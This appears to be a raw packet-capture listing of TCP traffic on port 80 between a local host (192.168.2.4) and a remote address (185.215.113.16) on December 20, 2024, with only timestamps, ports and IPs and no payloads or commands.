Dec 20, 2024 17:10:59.458591938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.458626032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.458678007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.459057093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.459081888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.459095955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.459136963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.459789038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.459840059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.460004091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.460289001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.460304976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.460339069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.460485935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.460525990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.460681915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.460781097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.461560965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.491429090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.491468906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.491482019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.491525888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.491744995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.491796970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.491930008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.491942883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.491978884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.492206097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.492309093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.492472887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.492474079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.492486000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.492500067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.492523909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.493035078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.493079901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.493117094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.493130922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.493165016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.493413925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.493804932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.493843079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.493916988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.493928909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.493966103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.494215965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.494662046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.494715929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.494731903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.494745016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.494833946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.495012999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.495410919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.495501041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.495548010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.495560884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.495604992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.495794058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.496257067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.496311903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.496359110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.496370077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.496421099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.496665955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.496999025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.497065067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.497123957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.497134924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.497194052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.497410059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.497844934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.497917891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.497962952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.497975111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.498236895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.498277903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.498636961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.498681068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.498734951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.498745918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.498780966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.499047041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.499418020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.499536991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.499551058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.499584913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.499617100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.499820948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.500231028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.500273943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.500386000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.500396967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.500432968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.500655890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.501008034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.501048088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.501117945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.501131058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.501249075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.501406908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.501847029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.501880884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.501960039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.501971006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.502041101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.502259016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.502620935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.502676010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.502721071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.502732992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.502890110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.503009081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.503443003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.503484011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.503566027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.503578901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.503618002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.503971100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.504209995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.504247904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.504331112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.504343033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.504409075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.504642963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.505023956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.505060911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.505115986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.505314112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.505326033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.505362034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.505809069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.505923033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.505934954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.505970001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.506000042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.506222010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.506643057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.506691933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.506753922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.506767035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.506797075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.507031918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.507412910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.507517099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.507529020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.507570982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.507822990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.508205891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.508335114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.508346081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.508389950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.508626938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.509013891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.509095907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.509130955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.509141922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.509179115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.650578022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.650674105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.650686026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.650717020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.650837898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.650851011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.650865078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.650883913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.650906086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.651154995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.651170969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.651190042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.651218891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.651453972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.651494980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.651773930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.651794910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.651808977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.651846886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.652019024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.652071953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.652554989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.683672905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.683696032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.683760881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.683794975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.683808088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.683831930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.684043884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.684082985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.684262037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.684273958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.684312105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.684777975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.685126066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.685260057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.685306072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.686688900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686702013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686712980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686732054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686750889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686753035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.686764002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686777115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686780930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.686789989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686799049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.686805010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686819077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686821938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.686851025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.686981916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.686995029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.687016964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.687166929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.687200069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.687604904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.687707901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.687721014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.687757015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.687926054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.687962055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.688972950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.689136028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.689147949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.689189911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.689436913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.689481020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.689958096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.689979076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.689990044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.690001965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.690016031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.690021038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.690052986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.690114975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.690128088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.690145969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.690432072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.690469980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.690901041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.691071033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.691082954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.691117048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.691262007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.691297054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.691867113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.691879034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.691890001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.691915989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.692168951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.692203999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.692656994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.692668915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.692692995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.692704916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.692713022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.692738056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.693201065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.693305016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.693316936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.693351984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.693712950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.694149971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.694200039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.694294930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.694305897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.694331884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.694581985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.694617987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.694916010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.695084095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.695096016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.695135117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.695415020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.695456028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.695573092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.695848942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.695858955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.695897102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.695898056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.695930004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.696427107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.696722031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.696734905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.696760893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.696867943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.696903944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.697360992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.697374105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.697415113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.697495937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.697788000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.698210955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.698223114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.698234081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.698255062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.698295116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.698306084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.698334932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.698853016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.698929071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.698940992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.698968887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.699131966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.699168921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.699608088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.699870110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.699882030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.699918032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.700048923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.700097084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.700612068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.700768948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.700782061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.700814962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.700963020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.700999022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.701277018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.701294899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.701304913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.701343060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.842725039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.842859030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.842874050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.842931986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.843050957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.843065023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.843087912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.843238115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.843442917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.843570948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.843770027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.843782902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.843795061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.843816996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.843856096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.844260931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.844369888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.844382048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:59.844415903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:59.844434023 CET	49744	80	192.168.2.4	185.215.113.16
